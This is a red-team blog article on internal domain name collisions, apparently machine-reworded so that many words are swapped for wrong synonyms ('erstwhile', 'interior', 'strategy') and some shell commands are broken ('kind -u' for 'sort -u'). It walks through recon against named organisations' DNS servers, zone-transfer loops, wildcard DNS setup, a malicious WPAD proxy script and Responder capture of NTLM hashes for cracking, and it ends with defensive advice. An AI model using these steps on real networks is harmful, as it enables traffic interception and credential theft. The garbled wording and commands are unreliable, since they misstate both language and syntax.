Internal domain name collision

Brief introduction

Internal domain name collisions occurs erstwhile the organisations are utilizing local domains in the interior network and the same domain names be besides outside of the organisation, on a global DNS. DNS query which should resolve to the interior resources leaks to the Internet. If an attacker is able to control specified domain on global DNS then he can execute a MITM (Man-in-the-Middle) attacks on an organisation.

Name collision

DNS name collision changed into much more severe problem erstwhile it became possible to registry fresh TLDs (Top-Level Domain) [https://data.iana.org/TLD/tlds-alpha-by-domain.txt], especially these owned by DONUTS company [https://donuts.domains/great-domains/domain-categories/]. Most problematic TLDs which could be utilized in attacks are inter alia: network, management, services, support, business, center, company, group, computer, systems, technology, engineer and software.

All above mentioned TLDs have assigned name servers (NS records) by its owner:

$ for tld in $(echo network management services support business center company group computer systems technology engineer software);do host -t ns $tld;done

network name server demand.beta.aridns.net.au.

management name server demand.alpha.aridns.net.au.

services name server demand.gamma.aridns.net.au.

support name server demand.beta.aridns.net.au.

business name server demand.gamma.aridns.net.au.

center name server demand.delta.aridns.net.au.

company name server demand.beta.aridns.net.au.

group name server demand.alpha.aridns.net.au.

computer name server demand.beta.aridns.net.au.

systems name server demand.alpha.aridns.net.au.

technology name server demand.delta.aridns.net.au.

engineer name server demand.alpha.aridns.net.au.

software name server demand.delta.aridns.net.au.

[...]

These domains were opened to registration since 2013-2015:

$ for tld in $(echo network management services support business center company group computer systems technology engineer software);do echo $tld && whois $tld | grep created;done

network

created: 2014-08-18

management

created: 2013-12-12

services

created: 2014-04-03

support

created: 2013-12-12

business

created: 2014-08-18

center

created: 2013-12-12

company

created: 2013-12-12

group

created: 2015-07-30

computer

created: 2013-12-12

systems

created: 2013-12-12

technology

created: 2013-11-08

engineer

created: 2014-05-29

software

created: 2014-05-22

Let’s say a company “XYZ” has built its infrastructure before year 2013 and started utilizing nonexisting TLD (at that time) for interior purpose. Let’s presume they have utilized interior domain name like xyz.network, and besides utilized it as a DNS suffix. Later, in 2014 it became possible to registry domain name xyz.network in the global DNS records. If the company “XYZ” haven’t registered this domain on global DNS, but inactive usage this in interior infrastructure, then this can be utilized by attackers for interior domain name collision, resulting in MITM attacks specified as badWPAD [https://blog.redteam.pl/2019/05/badwpad-dns-suffix-wpad-wpadblocking-com.html].

Some strategy administrators usage *.server.exchange as names for Microsoft Exchange Server in the interior network:

$ host -t ns server.exchange

server.exchange name server nsusa.comlaude.net.

server.exchange name server nsgbr.comlaude.co.uk.

server.exchange name server nssui.comlaude.ch.

$ host -t a server.exchange

server.exchange has address 213.212.81.71

Domains like these be in the global DNS as well and there are more examples of akin domain names:

$ host -t ns local.computer

local.computer name server ns2.digitalocean.com.

local.computer name server ns3.digitalocean.com.

local.computer name server ns1.digitalocean.com.

Another problem worth mentioning is that any organizations don’t usage their main (external, global DNS) domain, like xyz.pl for interior services, due to the fact that hackers could enumerate their interior infrastructure just by carrying out DNS subdomain brute-forcing (DNS enumeration). To mitigate this problems any organisations usage different domain names registered in global DNS for interior purposes, like domain name xyz2.pl. Sometimes attacker is able to take ownership of specified domain (xyz2.pl) due to the fact that individual at the organisation forgot to extend the registration period. If this is not their primary domain (xyz.pl) and it’s only being utilized in the interior network (xyz2.pl), interior DNS server keeps resolving it correctly, even if it’s no longer controlled by the organisation on the internet. This results in a problem that can stay unnoticed for a long period of time. The problem exposure itself erstwhile any hosts within organisation are not utilizing interior DNS servers (on which xyz2.pl region always exists). any systems could usage public DNS servers, specified as Google (8.8.8.8, 8.8.4.4), due to the fact that it was set for improvement purposes etc. These systems will query interior domain in a global DNS, where it could be controlled by an attacker.

All the cases where attackers can registry domain on a global DNS which is utilized as an interior domain within organisation’s infrastructure can end up with MITM attacks.

Reconnaissance before a red teaming operation

The attack kind described below is not only theoretical, I was able to carry out a real life attack during 1 of our [https://redteam.pl] red teaming assessments.

During an early recon phase we wanted to get organisation’s interior domain name. How we were able to do that? simply by looking at the email headers, especially first Received header:

Received: from zeus (zeus.xyz.network [10.1.2.3]) by saturn.xyz.com with ESMTP id v31337 for <redteampl@example.com>; Fri, 13 Sep 2019 03:13:37 +0200 (CEST)

Using this method we were not only able to find an interior domain, which could be possibly registered on a root DNS, but besides a local IP addresation.

Another approach to get interior domain name is to simply ask a name server (NS) of the organisation’s domain for it’s hostname:

$ for ns in $(host -t ns xyz.com | awk '{print $4}');do dig @$ns hostname.bind txt ch +short;done | kind -u

"dns1.xyz.network"

"dns2.xyz.network"

Real life examples:

$ i=kaspersky.com;for ns in $(host -t ns $i | awk '{print $4}');do dig @$ns hostname.bind txt ch +short;done | kind -u

"dns1.kaspersky-labs.com"

"dns10.kaspersky-labs.com"

"dns6.kaspersky-labs.com"

$ i=wp.pl;for ns in $(host -t ns $i | awk '{print $4}');do dig @

$ns hostname.bind txt ch +short;done | kind -u

"ns-1-b.dc-2.srv.dcwp.pl"

"ns-2.task.dc-2.srv.dcwp.pl"

$ i=onet.pl;for ns in $(host -t ns $i | awk '{print $4}');do dig

@$ns hostname.bind txt ch +short;done | kind -u

"dnspl-2.m7d1.onet"

Yet another method that can be utilized is to check for issued certificates. Quoting ICANN [https://www.icann.org/en/system/files/files/sac-057-en.pdf]: “As shown in our empirical analysis, there are at least 37,000 interior name certificates utilized in thousands of enterprises”.

One more good way of obtaining information about local resources is to send an email to targeted organisation with an URL to website controlled by attacker. After beginning the link in the organisation’s email processing strategy like helpdesk web application or webmail, the interior domain name can leak in HTTP Referer header and it will appear in httpd logs of attacker’s server. To prevent this behaviour organisations should usage rel=noreferrer (I besides have a blog post in Polish about akin case [https://blog.redteam.pl/2017/08/brak-tagu-rel-noreferrer-linkedin.html]).

If attacker utilizing above methods will be able to find unregistered interior domain like xyz2.pl from the example mentioned before, then after registering it on a global DNS and redirecting all queries (using DNS wildcard) to own infrastructure he can execute MITM attacks, specified as badWPAD.

Internal network reconnaissance with DNS region export

During the penetration test it is sometimes possible to export interior domain region from the public DNS servers of an organisation. With this method it is possible to get quite a few information like improvement servers IP addresses (which sometimes are utilizing copy of the data from production database), user logins, utilized devices and LAN addressation.

DNS region export (AXFR) can be done with following commands:

$ for ns in $(host -t ns xyz.com | awk '{print $4}');do dig @$ns axfr xyz.network;done

You can besides effort to export domain zones specified as lan, local and “xyz” where “XYZ” is the organisation’s name etc, or just a main organisation’s domain name (like xyz.pl) which can besides contain internally utilized subdomains which resolves to non-routable IP addresses [https://tools.ietf.org/html/rfc3330#section-2].

$ dig @$ns lan axfr

$ dig @$ns local axfr

$ dig @$ns xyz axfr

Another interesting way of doing the DNS reconnaissance is exporting reverse DNS (revDNS) zones (PTR records) for local IP classes:

$ dig @$ns -x 10 axfr

$ dig @$ns -x 192.168 axfr

$ for i in $(seq 16 31);do dig @$ns -x 172.$i axfr;done

For the address 10.0.0.0/8, 172.16.0.0/12 and 192.168.0.0/16.

DNS region export is very powerful method in a recon stage. fewer years ago (2013) in bug bounty program (without actual bounty prize) I was able to get a list of Cisco employees (login, name, position) by exporting DNS region and utilizing obtained information for further search queries for their data in the support forum [https://blog.redteam.pl/2017/07/axfr-eksport-strefy-dns.html (Polish), https://adamziaja.com/publications/2014_cyberprzestepczosc_20-adam_ziaja.pdf (Polish; slide 31+)]. With DNS region export from Cisco I was able besides to get the cognition about interior network topology, utilized devices etc.

In 2011 (yeah, 8 years ago) I besides recorded video about exporting DNS zones to find administration panels, LAN configuration etc [https://www.youtube.com/embed/sv2w7FYGxB4].

Setting up the infrastructure for the DNS collision attack

Simplest way to prepare for specified attack (when we have found a domain with a name collision) is to host own DNS server and make DNS wildcard (*) for catch any subdomains:

$ for rand in $(pwgen -A 10 5);do host -t A $rand.redteam.pl;done

oox6eeziet.redteam.pl is an alias for redteam.pl.

redteam.pl has address 104.248.133.95

iezo9ag0bi.redteam.pl is an alias for redteam.pl.

redteam.pl has address 104.248.133.95

iefebee3ya.redteam.pl is an alias for redteam.pl.

redteam.pl has address 104.248.133.95

ong7tui0ai.redteam.pl is an alias for redteam.pl.

redteam.pl has address 104.248.133.95

oe9zah9phi.redteam.pl is an alias for redteam.pl.

redteam.pl has address 104.248.133.95

It allows us to catch all connections, we can usage tcpdump / tshark / Wireshark for monitoring.

Red teamers in peculiar should usage their own DNS servers to monitor all the DNS requests. These requests may leak a lot interesting information, specified as local hostnames, software versions (for example query for subdomain ex2013 most likely is Microsoft Exchange 2013) etc.

DNS region configuration can be as simple as:

$TTL 600

@ IN SOA ns1.xyz.network. root.xyz.network. (

1337 ; Serial

36000 ; Refresh

600 ; Retry

86400 ; Expire

3600 ) ; Negative Cache TTL

@ IN NS ns1.xyz.network.

@ IN NS ns2.xyz.network.

* 600 IN A 1.3.3.7

During execution of domain collision attack it’s usually a good thought to run HTTP server, specified as Apache2, to monitor requests so we are able to catch i.a. WPAD requests for wpad.dat configuration file.

Network reconnaissance with DMARC reports

Red team during assessments can besides usage a DMARC reports to get any useful information about the infrastructure of the targeted organisation.

Example DMARC record:

@ IN TXT "v=DMARC1; p=none; rua=mailto:redteampl@example.com; ruf=mailto:redteampl@example.com; adkim=r; aspf=r; pct=100; sp=none"

It depends on multiple factors in an investigated case, but in general it should be possible to get any useful information about the infrastructure utilizing this method – email communications, specified as email forwarders, domains of the email servers etc.

Real attack simulation (red teaming)

One of the requests which we were able to find was a wpad [https://www.us-cert.gov/ncas/alerts/TA16-144A] request. Details about the badWPAD attacks you can find in my another blog posts [https://blog.redteam.pl/2019/05/badwpad-dns-suffix-wpad-wpadblocking-com.html].

When victim’s host is asking for wpad.xyz.network then a second request will be for wpad.dat, file which is simply a WPAD configuration script. That script file should be located under address http://wpad.xyz.network/wpad.dat and should contain data akin to following example:

function FindProxyForURL(url, host) {

return 'PROXY proxy.xyz.network:8080; DIRECT';

}

We can usage Responder as our malicious proxy, Squid, Burp Suite etc are good for the occupation as well.

With the proxy we can do a HTTP MITM, with abilities not only to inspect traffic, but besides to change downloaded executable files on the fly to malicious content like reverse shells to get strategy level access in LAN of an attacked organisation. utilizing HTTP Authorization header we can besides effort to leak plaintext passwords or NTLMv2 (Net-NTLMv2) hashes like in following example for the wpad request with the Responder:

GET /wpad.dat HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: WinHttp-Autoproxy-Service/5.1

Host: wpad

HTTP/1.1 401 Unauthorized

Server: Microsoft-IIS/7.5

Date: Sun, 1 Oct 2019 15:42:43 GMT

Content-Type: text/html

WWW-Authenticate: NTLM

Content-Length: 0

GET /wpad.dat HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: WinHttp-Autoproxy-Service/5.1

Host: wpad

HTTP/1.1 401 Unauthorized

Server: Microsoft-IIS/7.5

Date: Sun, 1 Oct 2019 15:42:43 GMT

Content-Type: text/html

WWW-Authenticate: NTLM

Content-Length: 0

GET /wpad.dat HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: WinHttp-Autoproxy-Service/5.1

Host: wpad

Authorization: NTLM TlRMTVNTUAABAA[...]AAAAAAAGA4AlAAAADw==

HTTP/1.1 401 Unauthorized

Server: Microsoft-IIS/7.5

Date: Sun, 1 Oct 2019 15:42:43 GMT

Content-Type: text/html

WWW-Authenticate: NTLM TlRMTVNTUAACAA[...]AYwBhAGwAAAAAAA==

Content-Length: 0

GET /wpad.dat HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: WinHttp-Autoproxy-Service/5.1

Host: wpad

Authorization: NTLM TlRMTVNTUAADAAAAGAAYAJwAAAAOAQ4BtAAAA[...]YQBkAAAAAAAAAAAA

Obtained hashes can be cracked with i.a. John the Ripper (--format=netntlmv2) or Hashcat (-m 5600).

Responder will besides effort to execute badWPAD attack with malicious proxy:

HTTP/1.1 200 OK

Server: Microsoft-IIS/7.5

Date: Sun, 1 Oct 2019 15:42:43 GMT

Content-Type: application/x-ns-proxy-autoconfig

Content-Length: 318

function FindProxyForURL(url, host) {

if ((host == "localhost") || shExpMatch(host, "localhost.*") ||

(host == "127.0.0.1") || isPlainHostName(host))

return "DIRECT";

if (dnsDomainIs(host, "ProxySrv") ||

shExpMatch(host, "(*.ProxySrv|ProxySrv)"))

return "DIRECT";

return 'PROXY ProxySrv:3128; PROXY ProxySrv:3141; DIRECT';

}

Red teamer can besides edit this WPAD script [https://github.com/lgandx/Responder-Windows/blob/eee1254b2fce47e469a3ab8cf572c3c499df70b4/src/Responder.conf#L87] and replace with his own proxy address to execute MITM attack with e.g previously mentioned Burp Suite (Proxy > Options > Match and Replace):

With the proxy red team can inject BeEF’s [https://beefproject.com] hook.js to open a wide spectrum of client side attacks.

Domain name collision besides allows to issue a valid certificate, quoting ICANN: “If an attacker obtains a certificate before the fresh TLD is delegated, he/she could surreptitiously redirect a user from the first site to the attacker site, present his certificate and the victim would get the Transport Layer Security/SSL (TLS/SSL) lock icon. This poses a crucial hazard to the privacy and integrity of HTTPS communications as well as another protocols that usage X.509 certificates (e.g. TLS/SSL-based email communication)”. This certificate can be utilized in future attacks specified as social engineering, MITM (software could not connect due to invalid certificate) etc.

You can usage the collision attack to mimic any unsafe software updates. Common Linux distributions package files are cryptographically signed, infecting local servers which are utilizing Debian, Ubuntu, Redhat etc won’t work. nevertheless having own mirror of a repository allows to get cognition about updated strategy packages, this information contains besides the exact version of the software and strategy release:

# apt install sl

Will do HTTP queries to repositories based on configuration within /etc/apt/sources.list and /etc/apt/sources.list.d/:

# strace -s 999 apt install sl 2>&1 | grep http://mirrors.digitalocean.com

read(4, "deb http://mirrors.digitalocean.com/debian buster main\ndeb http://security.debian.org/ buster/updates main\n\n", 4096) = 108

read(16, "102 Status\nURI: http://mirrors.digitalocean.com/debian/pool/main/s/sl/sl_5.02-1_amd64.deb\nMessage: Connecting to mirrors.digitalocean.com\n\n", 64000) = 139

[...]

From this query we know that strategy is utilizing 64-bit (amd64) Debian 10 (buster) and installed package is “sl” in version 5.02-1.

If interior domain exists in DNS suffix single word browser search queries can be captured by an attacker who control collisioned domain on a global DNS. Browsers like Google Chrome are making the DNS queries before redirecting user to Google’s search engine, just in case user actually typed hostname in the address bar. delight note that it doesn’t work erstwhile user put 2 or more space-separated words in the address bar.

Summary

How we can defend against specified attacks? Actually most likely the best approach is to registry and usage full qualified domain name (FQDN) from global DNS for interior namespace, quoting ICANN [https://www.icann.org/en/system/files/files/name-collision-mitigation-01aug14-en.pdf]: “Note that the addition of fresh names to the DNS root is not, and will never be, a problem to organizations already using FQDNs from the global DNS in their network. [...] The problems only appear for organizations that are utilizing private TLDs, or organizations that usage search lists that let entry of short unqualified names where the shortened name itself might be a valid name in the global DNS”. Do not usage private TLD, specified as your company name etc, quoting ICANN: “Using private TLDs has not been recommended as a best practice for decades. In fact, the instructions that come with Microsoft’s Active Directory and Server products have explicitly discouraged the usage of private TLDs for many years. The most effective mitigation for name collisions due to names that end in a private TLD leaking to the global DNS is to change from utilizing a private TLD to a 1 that is rooted in the global DNS”. As noted before, most crucial is to keep an ownership of the domain on global DNS. Problematic part for most organisations is fact that any change made on a local domain in large infrastructure can be a immense challenge.

Optional (not truly recommended) method is to usage local [https://tools.ietf.org/html/rfc6762] as interior TLD, then besides mDNS (Multicast DNS) will be in usage (IP address 224.0.0.251 with port 5353/udp).

$ dig @a.root-servers.net redteampl.local

; <<>> DiG <<>> @a.root-servers.net redteampl.local

; (2 servers found)

;; global options: +cmd

;; Got answer:

;; WARNING: .local is reserved for Multicast DNS

;; You are presently investigating what happens erstwhile an mDNS query is leaked to DNS

[...]

Configure interior DNS servers to authoritative respond to interior TLD queries.

One of the most crucial thing is to not let to export DNS zones. Good practice is to have separated DNS servers for interior and external (organisation domain) use. utilizing the same DNS servers for both purposes is always a risk. individual can export, enumerate records or even usage an exploit on a susceptible DNS server.

For monitoring purposes it is worth to check against responses with 127.0.53.53 as this IP address has peculiar meaning, quoting ICANN: “127.0.53.53 is simply a peculiar IPv4 address that will appear in strategy logs alerting strategy administrators that there is possible name collision issue, enabling a fast diagnosis and remediation” [https://www.icann.org/resources/pages/name-collision-2013-12-06-en#127.0.53.53]. besides monitor requests containing your-dns-needs-immediate-attention and TXT records containing "Your DNS configuration needs immediate attention see https://icann.org/namecollision" as this is utilized by ICANN for 90 days in fresh gTLDs.

I hope that informations presented above are also good reason to show how crucial it is for threat hunters to have besides a red team/pentest skills, and vice versa, due to the fact that red teamers with wide defence skills can do a real hacker attack simulations.

Additional resources

• https://www.icann.org/resources/pages/name-collision-2013-12-06-en
• https://forms.icann.org/en/help/name-collision/report-problems
• https://www.icann.org/en/system/files/files/new-gtld-collision-mitigation-05aug13-en.pdf (home and corp as high-risk TLDs)
• https://www.icann.org/en/system/files/files/name-collision-framework-30jul14-en.pdf (mail as high-risk TLD)
• https://www.us-cert.gov/ncas/alerts/TA15-240A